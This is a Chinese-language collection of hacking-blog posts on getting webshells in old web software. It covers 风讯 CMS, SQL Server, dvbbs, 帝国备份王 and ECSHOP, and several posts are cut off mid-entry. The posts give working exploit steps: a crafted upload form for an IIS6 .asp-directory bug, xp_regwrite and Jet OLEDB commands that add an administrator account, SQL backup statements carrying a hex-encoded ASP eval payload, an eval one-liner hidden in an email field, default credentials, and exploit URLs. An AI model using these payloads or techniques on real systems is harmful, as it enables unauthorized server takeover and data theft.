风讯 4.0 SP7 getshell 0day

发现者:bloodsword、bink,转载请无视
影响版本:<=4.0 sp7,前面的版本没去看,估计也能日。
利用条件,开启了文件上传功能,iis6环境。

漏洞描述:建立目录的地方,名称过滤上有失误,导致可以绕过过滤建立一个.asp目录
首先注册个账号访问http://www.bbb.com/User/CommPages/FolderImageList.asp?f_UserNumber=06150583700&Type=AddFolder&Path=/userfiles/06150583700/aaa.asp//&CurrPath=/userfiles/06150583700
其中这个06150583700是你的userid,登录了直接可以看到,建立一个.asp目录

因为风讯浏览目录的地方也过滤了.,所以建立的子目录进不去。本地构造表单:

1
2
3
4
5
6
7
8
<form name="FileForm" method="post" enctype="multipart/form-data" action="http://www.bbb.com/User/Commpages/UpFileSave.asp?Path=/userfiles/06150583700/aaa.asp">
    <input type="hidden" name="AutoReName" value="2"><br>
    <input type="hidden" name="Path" value="/userfiles/06150583700/aaa.asp">
    <input type="file" size="20" name="File1">
    <input type="hidden" name="FilesNum" value="1">
    <input type="submit" id="BtnSubmit" name="Submit" value=" 确 定 ">
    <input type="reset" id="ResetForm" name="Submit3" value=" 重 填 ">
</form>

传个夹带一句话的图片上去
恶心的地方来了,传上去的文件名是日期+时间+5位随机数(可能是4位3位2位1位,反正最大5位),这个我跟bink研究了半天,没有

办法看到-_-,用管中窥豹有个暴力猜接上传路径的功能,先在正常目录里上传个文件,卡一下本地跟远程的时间差,然后传到.asp

目录里,把秒数误差控制在3秒以内,开始跑吧~~然后自己该干嘛干嘛去,RP过关的话几个小时内应该能出结果-_-

SA权限仅需xp_regwrite即可有dos shell

删除xp_cmdshell和xplog70.dll不用担心,只要保留xp_regwrite就可以执行系统命令,拥有一个dos shell

利用RDS的一个老问题,在IIS 4.0的时候被广泛利用,现在好像没多少人想得起来了

绝对比去想办法恢复xp_cmdshell来得经济实惠,不过需要猜一下系统路径

nt/2k: x:\winnt\system32\

xp/2003: x:\windows\system32\

如果有回显,可以看到执行返回结果,否则需要先判断主机OS类型再试

当然如果野蛮一点,四个轮流来一遍也行。

首先开启沙盘模式:

exec master..xp_regwrite 'HKEY_LOCAL_MACHINE''SOFTWARE\Microsoft\Jet\4.0\Engines''SandBoxMode''REG_DWORD'1

然后利用jet.oledb执行系统命令

select * from openrowset('microsoft.jet.oledb.4.0'';database=c:\winnt\system32\ias\ias.mdb''select shell("cmd.exe /c net user admin admin1234 /add")')

--------------------------------------------------------------------------------------------------------------------------

db_owner到sysadmin的测试

sql injection终极利用方法》一文影响蛮大的,在叮当群上我们一帮人也讨论并测试了文章里的一点东西,这里把我们测试结果发一下:

在2个前提条件下,文章里的方法是可以实现的

① 连接的dbo用户必须对master有权限

② SQL必须设置为“允许对系统目录直接进行修改”(SQL Server属性--服务器设置)

这2个条件都是比较苛刻的,尤其是第2条,使的文章里提到的方法的成功率应该不是很高。

如果没有第1条,那么当我们执行drop procedure sp_addlogin操作时就会提示

服务器: 消息 3704,级别 16,状态 1,行 1

用户没有在 过程 'sp_addlogin' 上执行该操作的权限。

没有第2条,我们恢复sp_addlogin事 会提示错误

服务器: 消息 259,级别 16,状态 2,过程 sp_addlogin,行 115

未启用对系统目录的特殊更新。系统管理员必须重新配置 SQL Server 以允许这种操作。

顺便对文章里提到的xp_regwrite进行下测试,测试结果也是要求“连接的dbo用户必须对master有权限”

不过在使用 xp_regread时 并不要要求对master的权限

如果你感兴趣,也可以对其他的“扩展过程”进行这样的测试 :)

虽然文章里面的直接成功率小,但是可以做为 “后门”。

--------------------------------------------------------------------------------------------------------------------------- Read the rest of this entry

db备份shell的改进2点

减少备份文件大小,得到可执行的webshell成功率提高不少

一利用差异备份

加一个参数WITH DIFFERENTIAL

declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s

create table [dbo].[xiaolu] ([cmd] [image]);

insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)

declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL

二利用完全FORMAT

加一个参数WITH FROMAT

有些页面对数据库要执行几次,而备份又默认是每次都以追加的方式,如果一个注入点对数据库有几次操作,而备份的文件就 几倍的增加,所以

declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s Read the rest of this entry

dvbbs删除upload.inc后得shell得方法 - 前提是得到前后台管理权限
进入后台后
先到用户管理
随便改个人的邮件地址为
<%eval request(chr(35))%>@163.com

保存后
找到 邮件列表导出

然后导出邮件列表到文本 把文件名的名字改为.asp

点导出,就得到了一个shell

估计有些人早就知道了
哈哈

帝国备份王拿shell

信息来源:邪恶八进制信息安全团队(www.eviloctal.com)
文章作者:fhod

帝国备份王(Empirebak)简介
EmpireBak是一款完全免费、专门为Mysql大数据的备份与导入而设计的软件,系统采用分卷备份与导入,理论上可备份任何大小的数据库.

可在 http://www.phome.net/ebak2008os/ 下载到

默认账号密码为
admin 123456

登陆后先备份一次数据

备份时可选择备份到的目录。。默认有个safemod Read the rest of this entry

变态服务器拿SHELL

一个很变态的服务器,网站漏洞是不少,主站存在注入,BBS帐户密码默认,EWEBEDITOR管理后台没删(数据库路径改动,通过BBS搞到真实数据库登陆),计数器存在漏洞,可以备份,看起来洞不少,不过让人郁闷的事发生了.

无法新建ASP,ASA,PHP,ASPX文件,可以上传CER,提示下载,服务器发现原来对PHP ASPX不支持,不过就算支持了也传不上去,好像服务器装了监视软件,不能新建.不过在BK群里TR老师给了一个思路,尝试成功,不能新建的话就试下可以修改原来的文件否,由于ASP中的FSO一般写入文件,是会检测如果文件不存在就新建文件,存在直接写入的.所以就找到后台上传地方,上传图片抓包,然后修改一下,让他覆盖一个存在的ASP文件.这样就拿到了SHELL...

不过这种思路如果说服务器上的监视软件同时控制修改脚本文件的话,就不能成功了.总之很郁闷...

ECSHOP是一款开源免费的网上商店系统。由专业的开发团队升级维护,为您提供及时高效的技术支持,您还可以根据自己的商务特征对ECSHOP进行定制,增加自己商城的特色功能。(官方介绍)

ECSHOP前段时间出了个注射漏洞:http://bbs.wolvez.org/topic/67/,拿后台权限应该没有问题,但文章没有提及如何在后台拿shell。昨天可乐在t00ls.Net上发帖问如何拿shell,无聊中我baidugoogle了下,网上貌似没有拿shell的办法。好久没读代码了,无聊中下了ECSHOP最新版(V2.6.2)的源码过来读,很庆幸,给我找到一个可以直接写shell的文件。与注射一样,同样是个变化未初始化导致的问题,于是,同样只能用在register_globals为on的环境下。

integrate.php第740行起:

if ($_REQUEST['act'] == 'sync')
{
$size = 100;
 
......
 
$tasks = array();
if ($task_del &gt; 0)
{
$tasks[] = array('task_name'=&gt;sprintf($_LANG['task_del'], $task_del),'task_status'=&gt;'<span id="task_del">' . $_LANG['task_uncomplete'] . '<span>');
$sql = "SELECT user_name FROM " . $ecs-&gt;table('users') . " WHERE flag = 2";
$del_list = $db-&gt;getCol($sql);//$del_list未初始化,转载请注明来自:www.oldjun.com
}
 
if ($task_rename &gt; 0)
{
$tasks[] = array('task_name'=&gt;sprintf($_LANG['task_rename'], $task_rename),'task_status'=&gt;'<span id="task_rename">' . $_LANG['task_uncomplete'] . '</span>');
$sql = "SELECT user_name, alias FROM " . $ecs-&gt;table('users') . " WHERE flag = 3";
$rename_list = $db-&gt;getAll($sql);//$rename_list未初始化,转载请注明来自:www.oldjun.com
}
 
if ($task_ignore &gt;0)
{
$sql = "SELECT user_name FROM " . $ecs-&gt;table('users') . " WHERE flag = 4";
$ignore_list = $db-&gt;getCol($sql);//$ignore_list未初始化,转载请注明来自:www.oldjun.com
}
 
......
 
/* 保存修改日志 */
$fp = @fopen(ROOT_PATH . DATA_DIR . '/integrate_' . $_SESSION['code'] . '_log.php', 'wb');
$log = '';
if (isset($del_list))
{
$log .= '$del_list=' . var_export($del_list,true) . ';';
}
if (isset($rename_list))
{
$log .= '$rename_list=' . var_export($rename_list, true) . ';';
}
if (isset($ignore_list))
{
$log .= '$ignore_list=' . var_export($ignore_list, true) . ';';
}
//未做过滤,直接写log,转载请注明来自:www.oldjun.com
fwrite($fp, $log);
fclose($fp);
 
$smarty-&gt;assign('tasks', $tasks);
$smarty-&gt;assign('ur_here',$_LANG['user_sync']);
$smarty-&gt;assign('size', $size);
$smarty-&gt;display('integrates_sync.htm');
}
$del_list$rename_list$ignore_list均没有初始化,于是,均可以直接写shell。
</span></span>

利用方法:

http://www.oldjun.com/admin/integrate.php?

act=sync&del_list=

http://www.oldjun.com/admin/integrate.php?act=sync&rename_list=

http://www.oldjun.com/admin/integrate.php?act=sync&ignore_list=


三个链接,随便输入一个就可以了,生成http://www.oldjun.com/data/integrate__log.php,就是一句话小马了~

晓鹏本地试验成功,要有登陆后台的权限才能搞的。。

转自:http://www.oldjun.com/blog/index.php/archives/42/